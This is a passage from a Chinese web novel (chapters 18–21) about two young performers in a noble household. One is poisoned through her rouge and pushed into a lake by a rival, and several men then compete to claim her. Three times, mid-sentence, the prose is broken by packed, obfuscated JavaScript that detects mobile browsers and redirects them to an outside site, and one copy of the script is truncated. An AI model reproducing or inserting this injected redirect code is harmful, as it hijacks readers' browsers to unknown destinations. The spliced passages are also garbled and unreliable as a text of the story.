是去是留,显而易见。 如此这么一番操作下来,不怕她们不死心塌地地留下来,跟着他。 18. 第 18 章 浑浑噩噩过了半个多月,丹樱的病终于好了起来。 她脱下素服,穿上红衣,很快调整好了心态,在宴会上翩翩起舞。 就像是一株明媚如火的花朵,用生命绽放着令人目眩神迷的光彩。 白荔弹着琵琶,看着眼前在衣香鬓影、觥筹交错之前翩翩起舞的丹樱,心中说不出是什么滋味。 “都说戏子无情,看来真是不假,这刚死了阿公,她就敢花红柳绿的到处招摇。” “看来这平日里给我们看的“父女情深”,多半都是装的咯。”玉绡冷哼一下,讥讽道,“以前我只当这白荔说一套做一套,面皮子功夫做的十足,没想到这丹樱更是不可小觑,更胜一筹啊。” 丹樱骤然转身,凄厉地盯着玉绡,“你说什么?” 她跑过去,用力扇了她一个耳光,“你再给我说一遍!” 玉绡反应不迭,吃痛地捂住腮,又惊又气,“丹樱,你敢打我!” “我打的就是你这个烂嚼舌根的!”丹樱推开众人,两个人很快厮打在了一起。 白荔放下琵琶,拨开人群,拼命护住丹樱,“姐姐!你们不要打了!” 丹樱自幼习舞,身上有些功夫底子在,玉绡根本不是她的对手,三两下就被她制住,声音尖利地惨叫着。 墨末赶来,看到混乱不堪的场面,“你们在干什么?都给我住手!” 他推开众人,一把攥住丹樱的手腕,凭借身高的优势轻松将她制住,却被火头上的丹樱用力抽开,一巴掌甩在他的脸上。 “滚开!” 她用手指着捂住左脸的墨末,冷笑道,“少在这里装好人了,你们这些人心里在想什么,真当我不知道吗?你们都是一丘之貉,一路货色!” 白荔一惊,连忙抱住丹樱,阻止她再说下去,她惊恐不安地看着墨末,以为他会发怒,可墨末只是松开了手,冷静地看了一眼丹樱,“好了,今天大伙都累了,我看还是到此为止吧,都散了吧。” 这阵子,阿公的屋子被白荔勉强护住,但是等到两人回去时,不知道被谁恶意报复,地上出现了一片狼藉。 白荔看着地上摔的乱七八糟的东西,又心疼又愤怒,忍着眼泪蹲下去捡,丹樱站在后面没动,幽幽地笑了笑。 “你看,阿荔,”她轻声道,“阿公走后,任何人都可以踩在我们的头上,如果我不去争,我们就会一直过着这样的日子,你明白吗?” “都是我的错,还是我太慢了,”她喃喃道,“若是我能够再快一点,再出息一点,说不定阿公就不会死的这么早,阿公苦了一辈子,我竟没有让他享受一天的好日子,都是我的错……” 白荔顿住动作,心中百感交集。 到了半夜,白荔不断回想着阿公屋里一地的狼藉和丹樱说的话,翻来覆去睡不着,好不容易熬过了清晨,看着旁边还没醒的丹樱,她想了想,一个人悄悄出了屋子。 她径自去往了玉绡房间的方向。 今日虽是玉绡口出不逊,但是姐姐动手打人也不对。 玉绡不是什么有度量的人,她心中始终不安,恐生事端。 果然,走到门前,从里面传来了玉绡娇俏愤怒的声音,“丹樱这个贱蹄子,竟然当众打我,这个贱人她怎么敢!” 旁边有人在拱火,“姐姐,你没看到墨末被她打了,不也都忍了下来,那小贱人在秋音堂嚣张可不是一天两天了,姐姐,妹妹劝你还是息事宁人,忍下这口气吧。” “放屁!”玉绡啐了一口,“我若是不给她一点颜色瞧瞧,那我的名就倒过来写!” “那姐姐,你想怎么办呢?” “那丹樱不是自诩美貌、眼睛长在了头顶上吗?她不是一直觉得自己长的美吗?那我就毁了她的脸!” “我偷偷在她的胭脂里加了狼毒,她就等着毁容吧!” 白荔大吃一惊,悄悄离去,快步回到自己的屋子,便见丹樱跪坐在床前,正打开胭脂盒,对镜梳妆。 “姐姐住手!” 白荔急急跑过来,一把打掉了胭脂盒,“这里面有毒!” 她看着还没有上妆的丹樱,心中一阵庆幸,一五一十将门口刚才偷听到的话都说了出去。 丹樱花容失色,银牙一咬,恨声道,“她竟敢如此害我!我非要问个明白!” “姐姐别去!”白荔连忙阻止她,“无凭无据的,她们怎么可能会承认?没准还要拿这个来要挟姐姐,倒打一耙!” “那怎么办?”丹樱气愤道,“她们心思歹毒,如此害我,难道要我白白受了这个气?” “再说有千年做贼的,哪有千年防贼的,她们能从胭脂上下手,一计不成,难道就不能再生一计吗?” “阿公一走,她们就敢这么欺负我们……”丹樱恨恨道,“你以为她们如此放肆是为什么,若不是上头的意思,她们几个怎么敢这么做,阿荔,你一向聪明,怎么就不明白这一点呢?” 白荔无言以对。 可是如今,不依附他们,我们又能怎么办呢?白荔很想这样安慰她,很想告诉她,姐姐,再忍一忍,好吗?再最后忍一忍。 可是,她沉默下去,抿着双唇,怎么也开不了这个口了。 丹樱出完了气,怒容渐褪,看着白荔,语气平静了下来,“阿荔,既然我们姐妹已经成了她们的眼中钉,如果这个时候不搏一把,又待何时呢?” “阿荔,我知你心里还是不愿,但是我意已决。我只对你说一句,不要阻我。” …… 今日是郡公世子李皋的生辰。 白荔抱着琵琶,随着众人坐于小舟之上,安静麻木地弹奏着。 秋意渐浓,郡公府里的一片郁郁葱葱渐渐染上了属于秋天的凋零和萧条,荷花凋谢不在,只余湖水澄明宁静,翻不起一丝波纹,一如她如今的心境。 昔日生机勃勃的曲水流觞没有了,然而今日的生辰宴,沿袭了郡公府一贯的盛大华美,比起那日曲水流觞也不遑多让。众人围湖设宴,一边品着美酒珍馐,一边欣赏山水美景,何况还有歌舞盈盈,桂花飘香,比之夏日炎炎,多了几分秋高气爽,别有一番意趣。 几位熟悉的公子哥泛舟湖上,或站或坐在精美画舫中,喝着美酒,赏着曲子,“听说子衿兄要搬出去住了,那今日不光庆贺李兄生辰,也要祝贺子衿兄乔迁之喜了。” “话说,子衿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507477|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄怎么还不来?” “他这阵子不知怎么的,神龙见首不见尾,何况子衿兄的脾性,我们也不是第一天才知道。” “说的没错。咱们不必管他,自玩自的,说不定过一会儿他人就来了。” 白荔坐在小舟上,默默听着不远处的画舫传来的的交谈声,目光始终盯着坐在前面的玉绡。 众位公子哥的画舫离她们越来越近,白荔注意到玉绡蠢蠢欲动的小动作,一边弹着琵琶,一边不着痕迹地凑过去,轻声警告道,“玉绡姐姐,我劝你不要做什么蠢事,若是闹的动静大了,惊扰了贵人们不说,你说班主留还是不留你?” 玉绡被戳中心事,心中一怕,恶狠狠回头瞪她。 白荔看着她,轻声道,“我知道你心里在打什么主意,我会牢牢盯着你的,你若是敢害姐姐,我绝不会放过你。” 玉绡咬牙,重新回过头去,暂且按兵不动。 这些天里白荔一直盯着玉绡,不敢松懈。 所幸这阵子,玉绡没再背地里搞什么小动作,但是白荔知道,她一定不会善罢甘休。 光天化日,这种重大的场合,最怕的就是有人当众出丑,丢主人家的脸。 若是她们这些人在今天出了什么事的话,怕是班主都护不住。 以防万一,白荔今天特意挑了个玉绡后面的位置,为的就是时时刻刻盯着她的一举一动,以免她会暗地里对丹樱下黑手。 她在最落魄的年纪,遇到了同样凄惨的丹樱,这些年来,两人一直互相照顾,相依为命,她早已将丹樱视作了亲姐姐。 虽然她们理念不同,但无论如何,她永远是她的姐姐,她绝不会让别人害她。 画舫靠近,叶桂霖看到小舟上翩翩起舞的丹樱,目露惊艳之色,“这不是丹樱姑娘吗?好久不见,感觉好长时间没有看见你了,对了,白荔姑娘呢?” 众位公子看到这些花一样漂亮的妙龄女郎,纷纷看直了眼,“没想到李兄府上还藏了这么多绝色,当真是艳福不浅啊。” 叶桂霖指了指丹樱,“你,过来陪我喝酒。” 白荔余光里看着丹樱朝叶桂霖等人盈盈一礼,提了裙摆,顺着小厮的指引,款款踏上了画舫,她紧张地抓着玉绡,全程一瞬不瞬地盯着她,直到丹樱平稳落地,顺利去到了对面的画舫,这才放下心来。 “你也来!”叶桂霖又指了指默默站在一边的白荔。 白荔一怔,只得松开了玉绡,从人群中走出来,敛眉颔首,淡淡行了个礼,随着丹樱的脚步下了小舟,踏上船板。 就在这时,两道声音从岸边大声传来。 “淮南郡王世子到——” “中郎将陆大人到——” 白荔一怔,脸色一变。 就在她愣神之际,曳地的裙摆突然被人一脚踩住。 她心中一沉,暗道不好,然而此刻已是反应不迭,眼睁睁看着玉绡得逞的笑容,抱着琵琶一同落入了水中。 今日牧临之和陆禀并肩而来,一同站在岸边。听到了这边的动静,两人飞快地转头朝这里看过来,看到了白荔落水后,都不约而同地变了脸色,纵身一跃跳入湖中,朝她游了过来。 19. 第 19 章 陆禀这阵子一直忙于追查那批逆党的下落,今日才抽出空来,参加郡公世子的生辰宴。 他一直紧盯着牧临之的动向,谁知后者竟是滑不溜手,一直待在望月楼里眠花宿柳。至少他看上去是这样。 他冷眼瞧着望月楼的几个花魁为了他争风吃醋,闹的不可开交。 他还为其中一名花魁一掷千金,令她成为了自由身,花魁感激不尽,非他不许。 甚至听说他还要从郡公府搬出去,在郊区买了个大宅院,里面莺莺燕燕无数。 至少跟陆禀在长安听到的传闻一样,此人风流不羁,浪荡到了极点。 名声在他这里无足轻重,此人似乎根本不会在乎别人对他的看法,走到哪里,哪里就是舆论的风口。 盯了牧临之几天,在得到了最后一个没有价值的消息后,陆禀选择了放弃,期间,他倒是抓住了几个无关紧要的逆党。 不过,那几个掌握着重要物品的太子心腹,却始终下落不明。 先帝在时,太子摄政,先帝曾把象征权力的盘龙玉玺和一卷山河社稷图留给了太子。 先帝驾崩,太子随后被柳湘茹设计伏诛在长信宫,却始终不见盘龙玉玺和山河社稷图的下落。 盘龙玉玺是皇权的象征,谁拥有了它,谁就能成为应天顺命的统治者,重要程度不言而喻,而那卷山河社稷图,则是详细描绘了天朝版图,甚至还有周围几个敌国的详细版图,对于军事战略十分重要,比起玉玺的珍贵程度不相上下。 陆禀肯定猜测,这两件东西一定是被太子托付给了亲近之人,此人就在江南。 就在前几天,他偶然间发现,禁军的爪牙,也混入到了江南之中。 文羿升竟然背着太后,也在秘密地搜查。 他决不能让这两件东西,落入到文羿升的手里。 陆禀一一拷问了那几个逆党,可是这批人皆是忠贞之士,宁死不屈,咬死不松口。 面对这样的硬骨头,陆禀心中不可谓不动容,他们的忠烈令他敬佩。 在长安时,他就听过太子的贤名,也对他有过向往。可惜,终是没有福气投入到东宫麾下。 在其位,谋其事,忠其主,这就是陆禀的人生信条。如今太子已死,他是太后的人,一切都要以太后为主,道不同不相为谋,有些恻隐又如何?不过是仅此而已。 他此次过来郡公府参加生辰宴,一是不放心牧临之,看看郡公府有无可疑之处,其次也是存了自己的一点私心。 多日不见,不知她怎么样了。 而生辰宴这样的场合,她必定会出现。 陆禀奔赴郡公府,在府门正好与同样姗姗来迟的牧临之撞见,两人不冷不热地寒暄了几句,随后一路进来,他在庭院站定,飞快朝周围环视了一圈。 他出身金吾卫,耳聪目明,非旁人可比,短短几瞬,便精准找到了小舟上的白荔。 她随着那群优伶泛舟湖上,此刻正抱着琵琶,缓缓踏入另一艘华美的画舫中,突然间,她短促惊叫一声,身子一歪,仓促之间落入水中。 陆禀脸色一变,想也不想就要下水救人,没想到有人却比他更快一步。 耳边传来“噗通”一声,陆禀看着旁边先一步纵身入水的身影,剑眉蹙了蹙,随即也跟着跳了下去。 白荔就这样猝不及防坠入了湖中,沉重的琵琶从她的手里脱落,在她的眼中不断下坠。 湖水一阵波动,白荔呼吸不畅,咳出一串泡沫,呛了好几口水,徒劳地伸开双臂,想要去够缓缓坠落的琵琶。 眼前突然一道矫健的黑影出现,向她伸出手,试图将她拉住。 白荔一怔,想也不想地就要伸出手去。 就在两个手就要碰到的时刻,又一道颀长的身影银鱼般出现,先一步握住了她的手,一把将她揽在怀里,拖着她稳稳朝岸边游去。 ——是谁? 危机时分,白荔顾不得看清是谁救下了自己,只觉得此人水性极好,紧紧攥着她,抱着她流水踏步般掠过湖水,转眼间便上了岸。 直到上了岸,重获呼吸,她剧烈咳嗽了几下,觉得好受了一些,这才抬起头,用发红的眼睛看到了来人俊逸硬挺的下颌。 是他。 白荔一惊。 牧临之薄唇紧抿,全身也被水浸湿的湿漉漉,一头墨发湿漉漉地散开,水珠顺着发梢流过棱角分明的下颌,再顺着喉结淌在了白荔身上。 两人身上都是湿漉漉、黏糊糊,早已分不清谁是谁的。 早有眼疾手快的小厮巴巴地候在岸边,见两人上岸,忙跑过去,将厚实大氅给牧临之披上。 牧临之抱着白荔坐在岸边,腾出一只手挥开了大氅,直接将其裹在了白荔的身上。 白荔冻得浑身发冷,感受到身上传来的一阵阵温暖,声音细如蚊蚁,感激道,“……多谢殿下。” 牧临之垂着头,脸上看不出是什么表情,没有说话,浑身的气压看上去有些低。 不知怎么的,白荔忍不住打了个哆嗦。 见越来越多的人赶了过来,白荔红了红脸,有些难为情地挣了挣,却发现根本挣不开,小声道,“殿下……你还是把我放下吧……” 牧临之充耳不闻,好似没有听见似的,将她抱得更紧了一些。 画舫的众人亲眼目睹了这场意外,纷纷靠在岸边,朝这里赶了过来。牧临之坐在岸边,一动不动,将白荔抱在怀里不撒手。 余光中,陆禀也缓缓走了过来。 白荔看到同样一身湿淋淋的陆禀,暗暗吃惊。 原来刚才在水中的那道黑影和伸过来的手,竟是陆禀。 李皋忙道,“来人,快给陆大人披件衣服,别受了风寒。”又担忧地看向牧临之怀里的白荔,“白姑娘,你还好吧?” 白荔感到了冷,又有些众目睽睽下的难堪,缩在大氅里,垂下头去,一时无话。 “阿荔!阿荔!”丹樱从人群里冲了出来,跪在牧临之身边,担忧地看着白荔,“你要不要紧?这到底是怎么一回事?” 牧临之抱着白荔,环顾一圈,神色冷峻。 “我也想知道,这到底是怎么一回事?” 他的语气淡淡的,声音不大,但是全场全部安静无声了下去。 李皋看着牧临之的脸色,愣了愣。 丹樱也朝李皋磕头,哭诉道,“白荔做事素来稳妥,怎么会无缘无故落入水中,肯定是有人要害她,还请公子明察。” 看着丹樱为白荔跪地求情,李皋皱了皱眉,神色变得心疼。 他环顾了一圈脸色各异的秋音堂众人,冷酷道,“说罢,到底是你们中的谁,给白姑娘动了手脚?” 玉绡咬着唇,缩在人群之中,心虚地低着头。 李皋又听到远远一角传来的动静,扬了扬头,声音带着显而易见的不悦,“谁在那里喧哗?” 小厮忙上前道,“禀公子,是府里的一个孩子,听说白姑娘落水了,说什么也要来看一眼。” “孩子?”李皋惊奇,“带上来给我看看。” 很快,阿豮被人带了上来。 看着在牧临之怀里瑟瑟发抖的白荔,他扑过去,幼嫩的声音忧心忡忡,“姐姐,你没事吧?” 白荔慢慢抬起头,看着一脸担心看着她的丹樱和阿豮,心中泛起暖意,朝她们轻轻摇了摇头,似乎用行动来告诉她们,她没事。 丹樱看着白荔,突然目光坚定下来,转身又跪下去,哭诉道,“公子,请公子为我和阿荔主持公道!” 李皋私底下虽与丹樱十分亲密,但碍于有众人在,他咳了咳,佯装一副公事公办的模样,“怎么了丹姑娘,你有何苦衷?” 白荔落水是丹樱没有想到的,她又急又气的同时,但是心思转念又一转。 俗话说福祸相依,说不定,这就是两人脱离秋音堂的好时机。 这样想着,丹樱挤出几滴眼泪,哭的情真意切,跪在众人面前,哀声道,“公子,说来话长,阿荔和我是半路加入秋音堂的,秋音堂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他一点也不关心她们这些人到底闹了什么矛盾,虽然白荔落水他看着也很心疼,但是此刻若是能把她要过来,他心里真是高兴还来不及。 “你?”李皋犹豫起来。 把白荔给了叶桂霖他没意见,但是他清楚丹樱与白荔之间的感情非比寻常,叶桂霖风流成性,白荔跟了他不会是个好去处,丹樱一定会伤心。 “怎么?”一旁的魏成择笑道,“李兄,自古赠美都是件雅事,你在犹豫什么?” “还是说,你不放心叶弟的人品,怕他辜负佳人?” “哪里的话,哪里的话。”李皋笑了笑,正要顺势答应下来,耳边却突然传来另一道冷峻的声音。 “等一等。” 李皋转头,看向从刚才开始就一直沉默的陆禀,微微吃惊,“陆弟,怎么了?” 陆禀脸色平静,说出的话却是令在场所有的人震惊住,“朔常兄,既然同是赠美,不如把她给我好了。” 他看了一眼僵住的白荔,淡淡收回视线,道,“我与这位白姑娘颇有眼缘,怜她身世飘零,孤苦无依,想要将她带走,还请朔常兄成全。” 李皋愣了愣,好半天才反应过来,这话竟是陆禀说的。 从他造访郡公府开始,他屡次有意结交这位中郎将大人,后者却都是一副淡淡的样子,既不亲近,也不漠然,可以说是油盐不进。 这还是他第一次对自己提要求,还用上了他的表字,足见诚意。 这样一个微不足道的小小要求,若是能够攀上金吾卫这条大船,可以说是稳赚不亏。 李皋几乎是一瞬间便在叶桂霖和陆禀之间有了选择。 他们几人心思各异,只有当事人白荔,战战兢兢地缩在大氅里,脊背绷的紧紧的,如坠冰窟。 她就这样血淋淋地听着,自己像一个物件一样,被追逐,被交易。 那一天的击鼓传花,仿佛成了一场遥远的幻梦。高高在上的公子哥,到了这个时候,终于露出了最真实的嘴脸,那一天与她们一起同乐的场景仿佛成了一场笑话。 在他们的眼里,她只不过就是一个好玩的玩意罢了,随时可以被利用,被舍弃。 白荔咬着牙,控制不住地浑身发抖,眼尾慢慢红了。 “慢着。” 就在这时,裹在身上的大氅又紧了紧,让她回过神来。 一言不发的牧临之紧紧抱着白荔,面无表情地掀起眼,淡淡扫了众人一眼,缓缓道。 “我不许。” 20. 第 20 章 轻飘飘的一句话,场面再次陷入到了安静之中。 李皋挑了挑眉,“子衿,你这是何意?” “我的意思很难懂吗?” 牧子衿像平常一样笑了笑,但是谁也不会把他的笑容理解为温和。 因为他此刻的眼睛是冷的。 他的语气懒洋洋的,但是无形间却蕴着一股令人不可忽视的压迫感,“白姑娘不是你们手里讨来要去的物件,是去是留,总得问问她的意见吧?” 李皋一怔,这才反应过来,失礼地连连道歉,“对对,子衿说的有理。白姑娘,不好意思,是我考虑不周了,那么你的意下——如何呢?” 话音一落,在场的所有人,目光又全部齐刷刷地落到了白荔身上。 众目睽睽之下,白荔面色苍白,一点一点垂下头去,紧紧蜷缩起手指。 难堪、悲伤、愤怒…… 各种各样的情绪席卷了她的心,致使她渐渐流失了开口说话的力气。 她还要说什么? 她还能说什么? 她的是去是留,难道真的由她自己说了算吗? 这样绝望和无力的感觉,如同浑身披着千百倍湿淋淋的衣裳,令她浑身发冷,令她沉甸甸地喘不上气来。 叶桂霖目光炯炯,见白荔不说话,忍不住笑了一声,开口道,“白姑娘,不必犹豫了,你还是跟着我走吧,我保证,我一定好好待你,再不让旁人欺负了你去。” 墨末见丹樱已经成功脱身,怕白荔再跟着离去,终是按耐不住,跪着挪到众人面前,乞声道,“公子,我秋音堂素来对白荔不薄,许是中间出了什么误会,请公子为白荔主持公道,也给秋音堂一个说法。” “不过……”他话锋一转,“但请公子不要放任她离去,秋音堂还不能离了她……” 听着叶桂霖的示好和墨末的挽留,一旁的丹樱急了,顾不得牧临之,一把抓住了白荔的手,对她摇了摇头,无声地让她不要答应。 她想的很好,只要她跟了李皋,她就有信心将白荔保护好,不让任何人欺负了她。 甚至她都想过,凭白荔这般的美貌,若是她日后能够开窍,与她一起服侍李皋也不是不行。 打从认识的那天起,她们就没有分开过,若是白荔离开了她,她心里实在是没有底。 只要她们能天天见面,一直在一起,她一点也不介意与她共事一夫。 可是白荔不愿意。 此时此刻,白荔心里很清楚,继续留在郡公府,无非就是两种下场。 第一,继续待在秋音堂。 丹樱跟了李皋之后,她一人无依无靠,日后不知还要遭受多少明枪暗箭; 第二,跟着丹樱一起离开,待在她身边。 运气好的话,她可以熬上八年,出府成为一个正经的平头百姓; 而运气不好的话,就要日日担心其他男人的觊觎,还有被李皋再一次送走的风险。 贵人赠美,司空见惯。李皋对自己的态度可有可无,他今天能萌生出将她送给别人的想法,日后难道就不会为了其他的原因送走她吗? 丹樱还未在李皋那里扎稳脚跟,她根本护不住自己,甚至还会被自己拖累。 她舍不得离开丹樱。 但是为她,为自己,郡公府都没有任何要留下的理由了。 但,若是跟着叶桂霖的话,也是不必考虑的了。 难道就只能…… 白荔怔怔抬起头,茫然地看向除此之外的另一个男人。 陆禀一身黑衣,脸上没什么表情,正在紧紧地看着她。 他的神色稀松平常,大喜大悲在他的脸上被完美地隐藏,但是在无人知晓的阴暗处,他的大手正在腰后缓缓攥起,手背暴起克制的青筋。 甚至一想到她会跟他走的这个可能,陆禀就忍不住浑身发抖。 “白姑娘。”他又朝她走近一步,缓缓道,“跟我走吧。” 白荔看着陆禀,心如乱麻。 就在这时,她感到腰间的力道紧了紧,一道淡淡的声音传到她的耳边。 “别跟他走。” 一句话直接撞到了她的心里。 她回过神,怔怔转头,看向眼前人。 牧临之在看着她。 因为救她,他浑身湿透,男人在看着她,几缕湿发黏在异常俊美的一张脸上,有一股别样的阴郁与蛊惑。 那双优美含情的丹凤眼,正在深深凝视着她,里面似乎包含了一些她看不透的情绪。 白荔这才反应过来,原来自己自始至终一直待在他的怀里。 然而她此刻已经顾不上羞赧了,只是定定地看着男人的眼睛,被他深邃的眼底世界所吸引,不知他是什么意思。 牧临之看着她眼中的破碎与挣扎,心中一痛,握着她的力道又加重几分,凑过去,缓缓附在她的耳边,克制着让自己此时的语气温和下去,“如果你愿意的话……跟我走,好吗?” 说完之后,他便主动退开,对她轻轻一笑。 男人俊美的一张脸上,是前所未有的认真。 白荔看着他,一时恍惚。 对了,她怎么忘记了,还有他。 他与在场的任何人都不同。 他身份超然,贵为郡公府的上宾,没有任何人敢忤逆他。 若是真的跟了他,她就不会再担心日后其他人的纠缠。 而且…… 她与他之间,再怎么说,也有年少相识的情分在。 就算再怎么忽略,再怎么伪装,但是存在的东西就是存在了的。 她自认对他还有几分了解,如果他还是和当初一样的话。 白荔看着牧临之,她的心,在这一刻动摇了。 余光中,似乎觉察到了她的犹豫,陆禀又上前一步,“白姑娘……” 白荔偏过头,咬了咬唇,不去看他。 她是不会跟陆禀走的。 一看到他,她就会忍不住回想那惨烈的一夜,还有眼睁睁在她眼前死去的母亲。 他是吞噬她的地狱,只会令她不断想起痛苦的往事。 跟他走,她根本做不到。 只有牧临之,只有他是最合适的人选。 而且,白荔有一种预感。 说不定……他,能够实现她成为自由人的心愿。 全部想清楚了以后,白荔低下头去,缓缓攥住牧临之的衣袖一角,轻声开口道,“奴婢愿意跟着小郡王殿下,侍奉左右。” 她说完之后,在场所有的人神色各异,有惊讶的,有嫉妒的,也有不甘心的。 他们谁也没有想到,白荔最后会选择了牧临之。 可是,就算再意外,也没有人敢说什么。就连不服气如叶桂霖,也不敢多说一句话。 只有李皋惊讶问道,“白姑娘,你要跟着子衿,果真?” 丹樱不了解白荔与牧临之的过去,只以为白荔是从叶桂霖这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531863|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的虎狼窝又掉进了另一个虎狼窝,眼前一片漆黑,“阿荔,不要……” 而牧临之则是握了握白荔冰凉的手,抱着她,缓缓站起了身。 “既然白姑娘主意已定,那我自当乐意成人之美。”他淡淡看了神色各异的众人一眼,“那么白姑娘,我就带走了。” “等等。” 听到这个声音,白荔忍不住打了个哆嗦,心中一紧。 可就在此时,脊背被人温柔地拍了拍,似乎感知到了她的不安与恐惧。 白荔怔了怔,安静下来。 陆禀神色微冷,看了一眼僵在男人怀里不去看他的白荔,目光又逐渐往上,落到牧临之的脸上,眯了眯。 “小郡王,你这是什么意思?” 牧临之似乎丝毫不在意男人语气里的危险,耸了耸肩,又恢复成了那一副玩世不恭的模样,“意思还不够明显吗?” “陆大人,白姑娘她不愿意跟你走。” 陆禀的脸色变得难看起来。 “陆大人若是心中不爽,我也没有办法。不过陆大人,你素来知礼守节,进退有度,我最是佩服了,你是绝对不会做出什么强人所难之事的,对吧?” 牧临之说罢,薄唇翘起,对他微微一笑。 他单手轻松地抱着白荔,另一只手在人群中伸向阿豮,指了指,“喂,那个小孩。” “我看你挺对我的眼缘的,正好我身边还缺个书童,小孩,你愿不愿意跟我走啊?” 阿豮怔怔看着朝他微笑的牧临之,一时激动地说不出话来,跪在地上猛磕头,“阿豮愿意!阿豮愿意!” “阿豮?谁给你取的名字?”牧临之皱了皱眉,旋即一笑而过,“罢了,既是跟了我,那便不许再叫这个名字了,微微风簇浪,散作满河星,我以后就唤你长微了,可好?” 阿豮脑袋晕乎乎的,只觉得如蒙天音,立刻改口道,“长微愿意!” “真是个乖孩子。”牧临之朝他招了招手,“还不快过来?” 长微笑着跑到牧临之身边,对白荔扮了个欣喜的鬼脸。 真是太好了,他又能和阿荔姐姐在一起了。 见尘埃落定,李皋朗声一笑,想要缓和一下尴尬的气氛,“好你个子衿,人都走了,还要从我的府里挖人,还一带带俩,你说说,该怎么赔我?” 他若有所思地看了一眼白荔,心中释然。 这样也好。 他虽然想用此女来讨好陆禀,但是叶桂霖那头也不能轻视,子衿这样横插一脚,正好解了他的烦恼,谁也不会得罪,谁也不敢多说什么。 “今日是我不对,任凭朔常处置。” “不过,除此之外,我还是要多谢你,”牧临之垂眸看了一眼怀中的白荔,意有所指地笑了笑,道,“若不是之前客宿郡公府,我怎能会有此机缘?不为其他,改天我必登门赔罪,与你一醉方休!” “好!这可是你说的,随我处置,可不许反悔!” “一言为定,”牧临之笑意一收,悠悠看了一眼秋音堂众人,漫不经心了下去,“不过,在此之前嘛……我倒是挺感兴趣,这里面的一些弯弯绕绕。” “白姑娘,告诉我。”他垂下头,看向在自己的臂膀里沉默的白荔,声音温柔,“是你自己不小心落水的,还是有人背后陷害,才害你落水的?” “别怕,你现在已经是我的人了。”他看着她的眼睛,含笑清润的眼眸熠熠生辉,“说出来,我为你做主。” 21. 第 21 章 白荔怔怔地看着牧临之。 这个问题实在不好回答。 如果和盘托出的话,难保秋音堂上下不会记恨在心,对日后的丹樱不利;可若是隐瞒,更是助长了她们的气焰,对丹樱亦是不利。 白荔咬了咬唇,最终还是决定实话实说,小声道,“……不是我不小心落水的。” 她说的很委婉,但在场的人都明白过来,此事另有蹊跷。 “但那人是谁……”她咬了咬唇,犹豫道,“我不知道……” 说完之后,她若有若无地抬起眼,朝玉绡那里看去一眼。 玉绡没想到经此一遭,非但没有让襄阳双艳当众出丑,赶出府门去,反而助其飞上枝头,纷纷攀上了大树,心里恼恨非常,又怕此刻的白荔供出自己,一时又气又怕。 她讷讷着不敢抬头,内心五味杂陈,翻江倒海的厉害,忽的感受到白荔朝自己看过来的目光,心跳几乎跳到了嗓子眼! 玉绡只觉得身体一阵虚软,无意识地歪在了绿玉的肩膀上。 绿玉没有管玉绡,也没有在意白荔,只是专心致志地看着牧临之朝这里看了过来,呼吸急促,大脑一片空白。 她一直随着众人缩在人群里,眼睁睁地看着白荔就这样被自己梦寐以求的男人带走,心中又是羡慕,又是嫉恨。 小郡王他为什么要带走白荔,而不是自己? 那一天的曲水流觞,他不是夸了自己吗? 场上那么多人都在,可他却独独跟自己说话,还夸了她。 难道过去这么久,他已经将自己忘了吗? 不可能啊,他明明对自己是有意思的! 绿玉看着牧临之,呼吸急促,强烈的不甘让她浑身都在发抖。 “公子……”她再也忍不住,推开玉绡,怯怯出声,“奴婢……奴婢……” “嗯?”牧临之眯了眯眼,看着跃跃欲试的绿玉,“绿玉姑娘,你怎么了?” 他还记得自己的名字! 绿玉心中大喜,心中又涌起无限的可能。 或许、或许他还是记着自己的,也想要带自己走,只有没有机会,不好开口罢了。 她就知道,他是不可能忘了她的。 “绿玉姑娘,正好,你可曾看见,白姑娘落水之前,发生了什么?”牧临之问她。 绿玉没想到心心念念的公子一张口便问她这个,一时间打了个措手不及。 “我……我……” 刚才扯了白荔的人,她当然看见了。 她们秋音堂的所有人,几乎也都看见了。 是玉绡扯了白荔的裙角。 怎么办? 他在问她,她要怎么回答? 绿玉神色为难。 是要将所见所得如实地告诉眼前的男人,博得他的好感和喜欢,还是替玉绡隐瞒下去? 在看不见的地方,旁边的玉绡紧紧抓着她的衣角不放,发抖的手指泄露出了她此刻的恐惧,让绿玉犹豫起来。 玉绡也是和她患难了五年的姐妹。 这样当着众人的面供她出来,她的下场一定会很惨吧。 ——真的要出卖她吗? 绿玉的心里天人交战。 最终,她还是选择了玉绡,默默垂下眼睛,心虚道,“……我没看见……” “是吗?”牧临之眯了眯眼,“你确定吗?” 绿玉讷讷不语,慢慢滑落在地,一颗心也渐渐坠落至了谷底。 她知道,此话一出,无论如何,他是不会再带她走了。 她浪费了可能是人生中唯一的一次机会。 牧临之看着跪在地上面如土色的绿玉,又顺带看了一眼绿玉旁边的脸色差到不遑多让的玉绡,一双凤眼若有所思地眯了眯。 “你们在场的所有人,有谁看见了?”他的声音缓慢而优美,“说出来,我不会亏待你们的。” 可是,包括班主在内,秋音堂众人全部低下头去,鸦雀无声,没有一个人站出来。 白荔看着眼前此景,也不禁有些心寒。 对于她和丹樱阿公这样的外来分子,她们上下排斥漠然,但是面对玉绡,她们的态度又团结的可怕。 